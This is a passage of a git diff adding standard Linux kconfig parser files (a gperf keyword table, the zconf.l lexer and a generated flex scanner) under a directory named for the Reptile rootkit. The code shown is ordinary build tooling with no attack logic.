{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str14, T_OPT_DEFCONFIG_LIST,TF_OPTION}, + {-1}, {-1}, +#line 43 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str17, T_ON, TF_PARAM}, +#line 28 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str18, T_OPTIONAL, TF_COMMAND}, + {-1}, {-1}, +#line 42 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str21, T_OPTION, TF_COMMAND}, +#line 17 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str22, T_ENDMENU, TF_COMMAND}, +#line 15 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str23, T_MAINMENU, TF_COMMAND}, + {-1}, +#line 23 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str25, T_MENUCONFIG, TF_COMMAND}, + {-1}, +#line 44 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str27, T_OPT_MODULES, TF_OPTION}, + {-1}, +#line 16 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str29, T_MENU, TF_COMMAND}, + {-1}, +#line 39 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str31, T_SELECT, TF_COMMAND}, +#line 21 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str32, T_COMMENT, TF_COMMAND}, +#line 46 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str33, T_OPT_ENV, TF_OPTION}, + {-1}, +#line 40 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str35, T_RANGE, TF_COMMAND}, +#line 19 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str36, T_CHOICE, TF_COMMAND}, + {-1}, {-1}, +#line 33 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str39, T_TYPE, TF_COMMAND, S_BOOLEAN}, + {-1}, +#line 18 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str41, T_SOURCE, TF_COMMAND}, +#line 41 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str42, T_VISIBLE, TF_COMMAND}, +#line 37 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str43, T_TYPE, TF_COMMAND, S_HEX}, + {-1}, {-1}, +#line 22 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str46, T_CONFIG, TF_COMMAND}, +#line 34 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str47, T_TYPE, TF_COMMAND, S_BOOLEAN}, + {-1}, {-1}, {-1}, +#line 38 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str51, T_TYPE, TF_COMMAND, S_STRING}, + {-1}, {-1}, +#line 24 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str54, T_HELP, TF_COMMAND}, + {-1}, +#line 30 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str56, T_PROMPT, TF_COMMAND}, + {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, + {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, +#line 27 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str72, T_DEPENDS, TF_COMMAND} + }; + + if (len <= MAX_WORD_LENGTH && len >= MIN_WORD_LENGTH) + { + register int key = kconf_id_hash (str, len); + + if (key <= MAX_HASH_VALUE && key >= 0) + { + register int o = wordlist[key].name; + if (o >= 0) + { + register const char *s = o + kconf_id_strings; + + if (*str == *s && !strncmp (str + 1, s + 1, len - 1) && s[len] == '\0') + return &wordlist[key]; + } + } + } + return 0; +} +#line 47 "scripts/kconfig/zconf.gperf" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.l b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.l new file mode 100644 index 0000000..1a9f53e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.l @@ -0,0 +1,363 @@ +%option nostdinit noyywrap never-interactive full ecs +%option 8bit nodefault perf-report perf-report +%option noinput +%x COMMAND HELP STRING PARAM +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define START_STRSIZE 16 + +static struct { + struct file *file; + int lineno; +} current_pos; + +static char *text; +static int text_size, text_asize; + +struct buffer { + struct buffer *parent; + YY_BUFFER_STATE state; +}; + +struct buffer *current_buf; + +static int last_ts, first_ts; + +static void zconf_endhelp(void); +static void zconf_endfile(void); + +static void new_string(void) +{ + text = xmalloc(START_STRSIZE); + text_asize = START_STRSIZE; + text_size = 0; + *text = 0; +} + +static void append_string(const char *str, int size) +{ + int new_size = text_size + size + 1; + if (new_size > text_asize) { + new_size += START_STRSIZE - 1; + new_size &= -START_STRSIZE; + text = realloc(text, new_size); + text_asize = new_size; + } + memcpy(text + text_size, str, size); + text_size += size; + text[text_size] = 0; +} + +static void alloc_string(const char *str, int size) +{ + text = xmalloc(size + 1); + memcpy(text, str, size); + text[size] = 0; +} +%} + +n [A-Za-z0-9_] + +%% + int str = 0; + int ts, i; + +[ \t]*#.*\n | +[ \t]*\n { + current_file->lineno++; + return T_EOL; +} +[ \t]*#.* + + +[ \t]+ { + BEGIN(COMMAND); +} + +. { + unput(yytext[0]); + BEGIN(COMMAND); +} + + +{ + {n}+ { + const struct kconf_id *id = kconf_id_lookup(yytext, yyleng); + BEGIN(PARAM); + current_pos.file = current_file; + current_pos.lineno = current_file->lineno; + if (id && id->flags & TF_COMMAND) { + zconflval.id = id; + return id->token; + } + alloc_string(yytext, yyleng); + zconflval.string = text; + return T_WORD; + } + . + \n { + BEGIN(INITIAL); + current_file->lineno++; + return T_EOL; + } +} + +{ + "&&" return T_AND; + "||" return T_OR; + "(" return T_OPEN_PAREN; + ")" return T_CLOSE_PAREN; + "!" return T_NOT; + "=" return T_EQUAL; + "!=" return T_UNEQUAL; + \"|\' { + str = yytext[0]; + new_string(); + BEGIN(STRING); + } + \n BEGIN(INITIAL); current_file->lineno++; return T_EOL; + --- /* ignore */ + ({n}|[-/.])+ { + const struct kconf_id *id = kconf_id_lookup(yytext, yyleng); + if (id && id->flags & TF_PARAM) { + zconflval.id = id; + return id->token; + } + alloc_string(yytext, yyleng); + zconflval.string = text; + return T_WORD; + } + #.* /* comment */ + \\\n current_file->lineno++; + . + <> { + BEGIN(INITIAL); + } +} + +{ + [^'"\\\n]+/\n { + append_string(yytext, yyleng); + zconflval.string = text; + return T_WORD_QUOTE; + } + [^'"\\\n]+ { + append_string(yytext, yyleng); + } + \\.?/\n { + append_string(yytext + 1, yyleng - 1); + zconflval.string = text; + return T_WORD_QUOTE; + } + \\.? { + append_string(yytext + 1, yyleng - 1); + } + \'|\" { + if (str == yytext[0]) { + BEGIN(PARAM); + zconflval.string = text; + return T_WORD_QUOTE; + } else + append_string(yytext, 1); + } + \n { + printf("%s:%d:warning: multi-line strings not supported\n", zconf_curname(), zconf_lineno()); + current_file->lineno++; + BEGIN(INITIAL); + return T_EOL; + } + <> { + BEGIN(INITIAL); + } +} + +{ + [ \t]+ { + ts = 0; + for (i = 0; i < yyleng; i++) { + if (yytext[i] == '\t') + ts = (ts & ~7) + 8; + else + ts++; + } + last_ts = ts; + if (first_ts) { + if (ts < first_ts) { + zconf_endhelp(); + return T_HELPTEXT; + } + ts -= first_ts; + while (ts > 8) { + append_string(" ", 8); + ts -= 8; + } + append_string(" ", ts); + } + } + [ \t]*\n/[^ \t\n] { + current_file->lineno++; + zconf_endhelp(); + return T_HELPTEXT; + } + [ \t]*\n { + current_file->lineno++; + append_string("\n", 1); + } + [^ \t\n].* { + while (yyleng) { + if ((yytext[yyleng-1] != ' ') && (yytext[yyleng-1] != '\t')) + break; + yyleng--; + } + append_string(yytext, yyleng); + if (!first_ts) + first_ts = last_ts; + } + <> { + zconf_endhelp(); + return T_HELPTEXT; + } +} + +<> { + if (current_file) { + zconf_endfile(); + return T_EOL; + } + fclose(yyin); + yyterminate(); +} + +%% +void zconf_starthelp(void) +{ + new_string(); + last_ts = first_ts = 0; + BEGIN(HELP); +} + +static void zconf_endhelp(void) +{ + zconflval.string = text; + BEGIN(INITIAL); +} + + +/* + * Try to open specified file with following names: + * ./name + * $(srctree)/name + * The latter is used when srctree is separate from objtree + * when compiling the kernel. + * Return NULL if file is not found. + */ +FILE *zconf_fopen(const char *name) +{ + char *env, fullname[PATH_MAX+1]; + FILE *f; + + f = fopen(name, "r"); + if (!f && name != NULL && name[0] != '/') { + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + f = fopen(fullname, "r"); + } + } + return f; +} + +void zconf_initscan(const char *name) +{ + yyin = zconf_fopen(name); + if (!yyin) { + printf("can't find file %s\n", name); + exit(1); + } + + current_buf = xmalloc(sizeof(*current_buf)); + memset(current_buf, 0, sizeof(*current_buf)); + + current_file = file_lookup(name); + current_file->lineno = 1; +} + +void zconf_nextfile(const char *name) +{ + struct file *iter; + struct file *file = file_lookup(name); + struct buffer *buf = xmalloc(sizeof(*buf)); + memset(buf, 0, sizeof(*buf)); + + current_buf->state = YY_CURRENT_BUFFER; + yyin = zconf_fopen(file->name); + if (!yyin) { + printf("%s:%d: can't open file \"%s\"\n", + zconf_curname(), zconf_lineno(), file->name); + exit(1); + } + yy_switch_to_buffer(yy_create_buffer(yyin, YY_BUF_SIZE)); + buf->parent = current_buf; + current_buf = buf; + + for (iter = current_file->parent; iter; iter = iter->parent ) { + if (!strcmp(current_file->name,iter->name) ) { + printf("%s:%d: recursive inclusion detected. " + "Inclusion path:\n current file : '%s'\n", + zconf_curname(), zconf_lineno(), + zconf_curname()); + iter = current_file->parent; + while (iter && \ + strcmp(iter->name,current_file->name)) { + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno-1); + iter = iter->parent; + } + if (iter) + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno+1); + exit(1); + } + } + file->lineno = 1; + file->parent = current_file; + current_file = file; +} + +static void zconf_endfile(void) +{ + struct buffer *parent; + + current_file = current_file->parent; + + parent = current_buf->parent; + if (parent) { + fclose(yyin); + yy_delete_buffer(YY_CURRENT_BUFFER); + yy_switch_to_buffer(parent->state); + } + free(current_buf); + current_buf = parent; +} + +int zconf_lineno(void) +{ + return current_pos.lineno; +} + +const char *zconf_curname(void) +{ + return current_pos.file ? current_pos.file->name : ""; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.lex.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.lex.c_shipped new file mode 100644 index 0000000..a0521aa --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.lex.c_shipped @@ -0,0 +1,2420 @@ + +#line 3 "scripts/kconfig/zconf.lex.c_shipped" + +#define YY_INT_ALIGNED short int + +/* A lexical scanner generated by flex */ + +#define yy_create_buffer zconf_create_buffer +#define yy_delete_buffer zconf_delete_buffer +#define yy_flex_debug zconf_flex_debug +#define yy_init_buffer zconf_init_buffer +#define yy_flush_buffer zconf_flush_buffer +#define yy_load_buffer_state zconf_load_buffer_state +#define yy_switch_to_buffer zconf_switch_to_buffer +#define yyin zconfin +#define yyleng zconfleng +#define yylex zconflex +#define yylineno zconflineno +#define yyout zconfout +#define yyrestart zconfrestart +#define yytext zconftext +#define yywrap zconfwrap +#define yyalloc zconfalloc +#define yyrealloc zconfrealloc +#define yyfree zconffree + +#define FLEX_SCANNER +#define YY_FLEX_MAJOR_VERSION 2 +#define YY_FLEX_MINOR_VERSION 5 +#define YY_FLEX_SUBMINOR_VERSION 35 +#if YY_FLEX_SUBMINOR_VERSION > 0 +#define FLEX_BETA +#endif + +/* First, we deal with platform-specific or compiler-specific issues. */ + +/* begin standard C headers. */ +#include +#include +#include +#include + +/* end standard C headers. */ + +/* flex integer type definitions */ + +#ifndef FLEXINT_H +#define FLEXINT_H + +/* C99 systems have . Non-C99 systems may or may not. */ + +#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + +/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h, + * if you want the limit (max/min) macros for int types. + */ +#ifndef __STDC_LIMIT_MACROS +#define __STDC_LIMIT_MACROS 1 +#endif + +#include +typedef int8_t flex_int8_t; +typedef uint8_t flex_uint8_t; +typedef int16_t flex_int16_t; +typedef uint16_t flex_uint16_t; +typedef int32_t flex_int32_t; +typedef uint32_t flex_uint32_t; +#else +typedef signed char flex_int8_t; +typedef short int flex_int16_t; +typedef int flex_int32_t; +typedef unsigned char flex_uint8_t; +typedef unsigned short int flex_uint16_t; +typedef unsigned int flex_uint32_t; +#endif /* ! C99 */ + +/* Limits of integral types. */ +#ifndef INT8_MIN +#define INT8_MIN (-128) +#endif +#ifndef INT16_MIN +#define INT16_MIN (-32767-1) +#endif +#ifndef INT32_MIN +#define INT32_MIN (-2147483647-1) +#endif +#ifndef INT8_MAX +#define INT8_MAX (127) +#endif +#ifndef INT16_MAX +#define INT16_MAX (32767) +#endif +#ifndef INT32_MAX +#define INT32_MAX (2147483647) +#endif +#ifndef UINT8_MAX +#define UINT8_MAX (255U) +#endif +#ifndef UINT16_MAX +#define UINT16_MAX (65535U) +#endif +#ifndef UINT32_MAX +#define UINT32_MAX (4294967295U) +#endif + +#endif /* ! FLEXINT_H */ + +#ifdef __cplusplus + +/* The "const" storage-class-modifier is valid. */ +#define YY_USE_CONST + +#else /* ! __cplusplus */ + +/* C99 requires __STDC__ to be defined as 1. */ +#if defined (__STDC__) + +#define YY_USE_CONST + +#endif /* defined (__STDC__) */ +#endif /* ! __cplusplus */ + +#ifdef YY_USE_CONST +#define yyconst const +#else +#define yyconst +#endif + +/* Returned upon end-of-file. */ +#define YY_NULL 0 + +/* Promotes a possibly negative, possibly signed char to an unsigned + * integer for use as an array index. If the signed char is negative, + * we want to instead treat it as an 8-bit unsigned char, hence the + * double cast. + */ +#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c) + +/* Enter a start condition. This macro really ought to take a parameter, + * but we do it the disgusting crufty way forced on us by the ()-less + * definition of BEGIN. + */ +#define BEGIN (yy_start) = 1 + 2 * + +/* Translate the current start state into a value that can be later handed + * to BEGIN to return to the state. The YYSTATE alias is for lex + * compatibility. + */ +#define YY_START (((yy_start) - 1) / 2) +#define YYSTATE YY_START + +/* Action number for EOF rule of a given start state. */ +#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1) + +/* Special action meaning "start processing a new file". */ +#define YY_NEW_FILE zconfrestart(zconfin ) + +#define YY_END_OF_BUFFER_CHAR 0 + +/* Size of default input buffer. */ +#ifndef YY_BUF_SIZE +#define YY_BUF_SIZE 16384 +#endif + +/* The state buf must be large enough to hold one state per character in the main buffer. + */ +#define YY_STATE_BUF_SIZE ((YY_BUF_SIZE + 2) * sizeof(yy_state_type)) + +#ifndef YY_TYPEDEF_YY_BUFFER_STATE +#define YY_TYPEDEF_YY_BUFFER_STATE +typedef struct yy_buffer_state *YY_BUFFER_STATE; +#endif + +extern int zconfleng; + +extern FILE *zconfin, *zconfout; + +#define EOB_ACT_CONTINUE_SCAN 0 +#define EOB_ACT_END_OF_FILE 1 +#define EOB_ACT_LAST_MATCH 2 + + #define YY_LESS_LINENO(n) + +/* Return all but the first "n" matched characters back to the input stream. */ +#define yyless(n) \ + do \ + { \ + /* Undo effects of setting up zconftext. */ \ + int yyless_macro_arg = (n); \ + YY_LESS_LINENO(yyless_macro_arg);\ + *yy_cp = (yy_hold_char); \ + YY_RESTORE_YY_MORE_OFFSET \ + (yy_c_buf_p) = yy_cp = yy_bp + yyless_macro_arg - YY_MORE_ADJ; \ + YY_DO_BEFORE_ACTION; /* set up zconftext again */ \ + } \ + while ( 0 ) + +#define unput(c) yyunput( c, (yytext_ptr) ) + +#ifndef YY_TYPEDEF_YY_SIZE_T +#define YY_TYPEDEF_YY_SIZE_T +typedef size_t yy_size_t; +#endif + +#ifndef YY_STRUCT_YY_BUFFER_STATE +#define YY_STRUCT_YY_BUFFER_STATE +struct yy_buffer_state + { + FILE *yy_input_file; + + char *yy_ch_buf; /* input buffer */ + char *yy_buf_pos; /* current position in input buffer */ + + /* Size of input buffer in bytes, not including room for EOB + * characters. + */ + yy_size_t yy_buf_size; + + /* Number of characters read into yy_ch_buf, not including EOB + * characters. + */ + int yy_n_chars; + + /* Whether we "own" the buffer - i.e., we know we created it, + * and can realloc() it to grow it, and should free() it to + * delete it. + */ + int yy_is_our_buffer; + + /* Whether this is an "interactive" input source; if so, and + * if we're using stdio for input, then we want to use getc() + * instead of fread(), to make sure we stop fetching input after + * each newline. + */ + int yy_is_interactive; + + /* Whether we're considered to be at the beginning of a line. + * If so, '^' rules will be active on the next match, otherwise + * not. + */ + int yy_at_bol; + + int yy_bs_lineno; /**< The line count. */ + int yy_bs_column; /**< The column count. */ + + /* Whether to try to fill the input buffer when we reach the + * end of it. + */ + int yy_fill_buffer; + + int yy_buffer_status; + +#define YY_BUFFER_NEW 0 +#define YY_BUFFER_NORMAL 1 + /* When an EOF's been seen but there's still some text to process + * then we mark the buffer as YY_EOF_PENDING, to indicate that we + * shouldn't try reading from the input source any more. We might + * still have a bunch of tokens to match, though, because of + * possible backing-up. + * + * When we actually see the EOF, we change the status to "new" + * (via zconfrestart()), so that the user can continue scanning by + * just pointing zconfin at a new input file. + */ +#define YY_BUFFER_EOF_PENDING 2 + + }; +#endif /* !YY_STRUCT_YY_BUFFER_STATE */ + +/* Stack of input buffers. */ +static size_t yy_buffer_stack_top = 0; /**< index of top of stack. */ +static size_t yy_buffer_stack_max = 0; /**< capacity of stack. */ +static YY_BUFFER_STATE * yy_buffer_stack = 0; /**< Stack as an array. */ + +/* We provide macros for accessing buffer states in case in the + * future we want to put the buffer states in a more general + * "scanner state". + * + * Returns the top of the stack, or NULL. + */ +#define YY_CURRENT_BUFFER ( (yy_buffer_stack) \ + ? (yy_buffer_stack)[(yy_buffer_stack_top)] \ + : NULL) + +/* Same as previous macro, but useful when we know that the buffer stack is not + * NULL or when we need an lvalue. For internal use only. + */ +#define YY_CURRENT_BUFFER_LVALUE (yy_buffer_stack)[(yy_buffer_stack_top)] + +/* yy_hold_char holds the character lost when zconftext is formed. */ +static char yy_hold_char; +static int yy_n_chars; /* number of characters read into yy_ch_buf */ +int zconfleng; + +/* Points to current character in buffer. */ +static char *yy_c_buf_p = (char *) 0; +static int yy_init = 0; /* whether we need to initialize */ +static int yy_start = 0; /* start state number */ + +/* Flag which is used to allow zconfwrap()'s to do buffer switches + * instead of setting up a fresh zconfin. A bit of a hack ... + */ +static int yy_did_buffer_switch_on_eof; + +void zconfrestart (FILE *input_file ); +void zconf_switch_to_buffer (YY_BUFFER_STATE new_buffer ); +YY_BUFFER_STATE zconf_create_buffer (FILE *file,int size ); +void zconf_delete_buffer (YY_BUFFER_STATE b ); +void zconf_flush_buffer (YY_BUFFER_STATE b ); +void zconfpush_buffer_state (YY_BUFFER_STATE new_buffer ); +void zconfpop_buffer_state (void ); + +static void zconfensure_buffer_stack (void ); +static void zconf_load_buffer_state (void ); +static void zconf_init_buffer (YY_BUFFER_STATE b,FILE *file ); + +#define YY_FLUSH_BUFFER zconf_flush_buffer(YY_CURRENT_BUFFER ) + +YY_BUFFER_STATE zconf_scan_buffer (char *base,yy_size_t size ); +YY_BUFFER_STATE zconf_scan_string (yyconst char *yy_str ); +YY_BUFFER_STATE zconf_scan_bytes (yyconst char *bytes,int len ); + +void *zconfalloc (yy_size_t ); +void *zconfrealloc (void *,yy_size_t ); +void zconffree (void * ); + +#define yy_new_buffer zconf_create_buffer + +#define yy_set_interactive(is_interactive) \ + { \ + if ( ! YY_CURRENT_BUFFER ){ \ + zconfensure_buffer_stack (); \ + YY_CURRENT_BUFFER_LVALUE = \ + zconf_create_buffer(zconfin,YY_BUF_SIZE ); \ + } \ + YY_CURRENT_BUFFER_LVALUE->yy_is_interactive = is_interactive; \ + } + +#define yy_set_bol(at_bol) \ + { \ + if ( ! YY_CURRENT_BUFFER ){\ + zconfensure_buffer_stack (); \ + YY_CURRENT_BUFFER_LVALUE = \ + zconf_create_buffer(zconfin,YY_BUF_SIZE ); \ + } \ + YY_CURRENT_BUFFER_LVALUE->yy_at_bol = at_bol; \ + } + +#define YY_AT_BOL() (YY_CURRENT_BUFFER_LVALUE->yy_at_bol) + +/* Begin user sect3 */ + +#define zconfwrap(n) 1 +#define YY_SKIP_YYWRAP + +typedef unsigned char YY_CHAR; + +FILE *zconfin = (FILE *) 0, *zconfout = (FILE *) 0; + +typedef int yy_state_type; + +extern int zconflineno; + +int zconflineno = 1; + +extern char *zconftext; +#define yytext_ptr zconftext +static yyconst flex_int16_t yy_nxt[][17] = + { + { + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0 + }, + + { + 11, 12, 13, 14, 12, 12, 15, 12, 12, 12, + 12, 12, 12, 12, 12, 12, 12 + }, + + { + 11, 12, 13, 14, 12, 12, 15, 12, 12, 12, + 12, 12, 12, 12, 12, 12, 12 + }, + + { + 11, 16, 16, 17, 16, 16, 16, 16, 16, 16, + 16, 16, 16, 18, 16, 16, 16 + }, + + { + 11, 16, 16, 17, 16, 16, 16, 16, 16, 16, + 16, 16, 16, 18, 16, 16, 16 + + }, + + { + 11, 19, 20, 21, 19, 19, 19, 19, 19, 19, + 19, 19, 19, 19, 19, 19, 19 + }, + + { + 11, 19, 20, 21, 19, 19, 19, 19, 19, 19, + 19, 19, 19, 19, 19, 19, 19 + }, + + { + 11, 22, 22, 23, 22, 24, 22, 22, 24, 22, + 22, 22, 22, 22, 22, 25, 22 + }, + + { + 11, 22, 22, 23, 22, 24, 22, 22, 24, 22, + 22, 22, 22, 22, 22, 25, 22 + }, + + { + 11, 26, 26, 27, 28, 29, 30, 31, 29, 32, + 33, 34, 35, 35, 36, 37, 38 + + }, + + { + 11, 26, 26, 27, 28, 29, 30, 31, 29, 32, + 33, 34, 35, 35, 36, 37, 38 + }, + + { + -11, -11, -11, -11, -11, -11, -11, -11, -11, -11, + -11, -11, -11, -11, -11, -11, -11 + }, + + { + 11, -12, -12, -12, -12, -12, -12, -12, -12, -12, + -12, -12, -12, -12, -12, -12, -12 + }, + + { + 11, -13, 39, 40, -13, -13, 41, -13, -13, -13, + -13, -13, -13, -13, -13, -13, -13 + }, + + { + 11, -14, -14, -14, -14, -14, -14, -14, -14, -14, + -14, -14, -14, -14, -14, -14, -14 + + }, + + { + 11, 42, 42, 43, 42, 42, 42, 42, 42, 42, + 42, 42, 42, 42, 42, 42, 42 + }, + + { + 11, -16, -16, -16, -16, -16, -16, -16, -16, -16, + -16, -16, -16, -16, -16, -16, -16 + }, + + { + 11, -17, -17, -17, -17, -17, -17, -17, -17, -17, + -17, -17, -17, -17, -17, -17, -17 + }, + + { + 11, -18, -18, -18, -18, -18, -18, -18, -18, -18, + -18, -18, -18, 44, -18, -18, -18 + }, + + { + 11, 45, 45, -19, 45, 45, 45, 45, 45, 45, + 45, 45, 45, 45, 45, 45, 45 + + }, + + { + 11, -20, 46, 47, -20, -20, -20, -20, -20, -20, + -20, -20, -20, -20, -20, -20, -20 + }, + + { + 11, 48, -21, -21, 48, 48, 48, 48, 48, 48, + 48, 48, 48, 48, 48, 48, 48 + }, + + { + 11, 49, 49, 50, 49, -22, 49, 49, -22, 49, + 49, 49, 49, 49, 49, -22, 49 + }, + + { + 11, -23, -23, -23, -23, -23, -23, -23, -23, -23, + -23, -23, -23, -23, -23, -23, -23 + }, + + { + 11, -24, -24, -24, -24, -24, -24, -24, -24, -24, + -24, -24, -24, -24, -24, -24, -24 + + }, + + { + 11, 51, 51, 52, 51, 51, 51, 51, 51, 51, + 51, 51, 51, 51, 51, 51, 51 + }, + + { + 11, -26, -26, -26, -26, -26, -26, -26, -26, -26, + -26, -26, -26, -26, -26, -26, -26 + }, + + { + 11, -27, -27, -27, -27, -27, -27, -27, -27, -27, + -27, -27, -27, -27, -27, -27, -27 + }, + + { + 11, -28, -28, -28, -28, -28, -28, -28, -28, -28, + -28, -28, -28, -28, 53, -28, -28 + }, + + { + 11, -29, -29, -29, -29, -29, -29, -29, -29, -29, + -29, -29, -29, -29, -29, -29, -29 + + }, + + { + 11, 54, 54, -30, 54, 54, 54, 54, 54, 54, + 54, 54, 54, 54, 54, 54, 54 + }, + + { + 11, -31, -31, -31, -31, -31, -31, 55, -31, -31, + -31, -31, -31, -31, -31, -31, -31 + }, + + { + 11, -32, -32, -32, -32, -32, -32, -32, -32, -32, + -32, -32, -32, -32, -32, -32, -32 + }, + + { + 11, -33, -33, -33, -33, -33, -33, -33, -33, -33, + -33, -33, -33, -33, -33, -33, -33 + }, + + { + 11, -34, -34, -34, -34, -34, -34, -34, -34, -34, + -34, 56, 57, 57, -34, -34, -34 + + }, + + { + 11, -35, -35, -35, -35, -35, -35, -35, -35, -35, + -35, 57, 57, 57, -35, -35, -35 + }, + + { + 11, -36, -36, -36, -36, -36, -36, -36, -36, -36, + -36, -36, -36, -36, -36, -36, -36 + }, + + { + 11, -37, -37, 58, -37, -37, -37, -37, -37, -37, + -37, -37, -37, -37, -37, -37, -37 + }, + + { + 11, -38, -38, -38, -38, -38, -38, -38, -38, -38, + -38, -38, -38, -38, -38, -38, 59 + }, + + { + 11, -39, 39, 40, -39, -39, 41, -39, -39, -39, + -39, -39, -39, -39, -39, -39, -39 + + }, + + { + 11, -40, -40, -40, -40, -40, -40, -40, -40, -40, + -40, -40, -40, -40, -40, -40, -40 + }, + + { + 11, 42, 42, 43, 42, 42, 42, 42, 42, 42, + 42, 42, 42, 42, 42, 42, 42 + }, + + { + 11, 42, 42, 43, 42, 42, 42, 42, 42, 42, + 42, 42, 42, 42, 42, 42, 42 + }, + + { + 11, -43, -43, -43, -43, -43, -43, -43, -43, -43, + -43, -43, -43, -43, -43, -43, -43 + }, + + { + 11, -44, -44, -44, -44, -44, -44, -44, -44, -44, + -44, -44, -44, 44, -44, -44, -44 + + }, + + { + 11, 45, 45, -45, 45, 45, 45, 45, 45, 45, + 45, 45, 45, 45, 45, 45, 45 + }, + + { + 11, -46, 46, 47, -46, -46, -46, -46, -46, -46, + -46, -46, -46, -46, -46, -46, -46 + }, + + { + 11, 48, -47, -47, 48, 48, 48, 48, 48, 48, + 48, 48, 48, 48, 48, 48, 48 + }, + + { + 11, -48, -48, -48, -48, -48, -48, -48, -48, -48, + -48, -48, -48, -48, -48, -48, -48 + }, + + { + 11, 49, 49, 50, 49, -49, 49, 49, -49, 49, + 49, 49, 49, 49, 49, -49, 49 + + }, + + { + 11, -50, -50, -50, -50, -50, -50, -50, -50, -50, + -50, -50, -50, -50, -50, -50, -50 + }, + + { + 11, -51, -51, 52, -51, -51, -51, -51, -51, -51, + -51, -51, -51, -51, -51, -51, -51 + }, + + { + 11, -52, -52, -52, -52, -52, -52, -52, -52, -52, + -52, -52, -52, -52, -52, -52, -52 + }, + + { + 11, -53, -53, -53, -53, -53, -53, -53, -53, -53, + -53, -53, -53, -53, -53, -53, -53 + }, + + { + 11, 54, 54, -54, 54, 54, 54, 54, 54, 54, + 54, 54, 54, 54, 54, 54, 54 + + }, + + { + 11, -55, -55, -55, -55, -55, -55, -55, -55, -55, + -55, -55, -55, -55, -55, -55, -55 + }, + + { + 11, -56, -56, -56, -56, -56, -56, -56, -56, -56, + -56, 60, 57, 57, -56, -56, -56 + }, + + { + 11, -57, -57, -57, -57, -57, -57, -57, -57, -57, + -57, 57, 57, 57, -57, -57, -57 + }, + + { + 11, -58, -58, -58, -58, -58, -58, -58, -58, -58, + -58, -58, -58, -58, -58, -58, -58 + }, + + { + 11, -59, -59, -59, -59, -59, -59, -59, -59, -59, + -59, -59, -59, -59, -59, -59, -59 + + }, + + { + 11, -60, -60, -60, -60, -60, -60, -60, -60, -60, + -60, 57, 57, 57, -60, -60, -60 + }, + + } ; + +static yy_state_type yy_get_previous_state (void ); +static yy_state_type yy_try_NUL_trans (yy_state_type current_state ); +static int yy_get_next_buffer (void ); +static void yy_fatal_error (yyconst char msg[] ); + +/* Done after the current pattern has been matched and before the + * corresponding action - sets up zconftext. + */ +#define YY_DO_BEFORE_ACTION \ + (yytext_ptr) = yy_bp; \ + zconfleng = (size_t) (yy_cp - yy_bp); \ + (yy_hold_char) = *yy_cp; \ + *yy_cp = '\0'; \ + (yy_c_buf_p) = yy_cp; + +#define YY_NUM_RULES 33 +#define YY_END_OF_BUFFER 34 +/* This struct is not used in this scanner, + but its presence is necessary. */ +struct yy_trans_info + { + flex_int32_t yy_verify; + flex_int32_t yy_nxt; + }; +static yyconst flex_int16_t yy_accept[61] = + { 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 34, 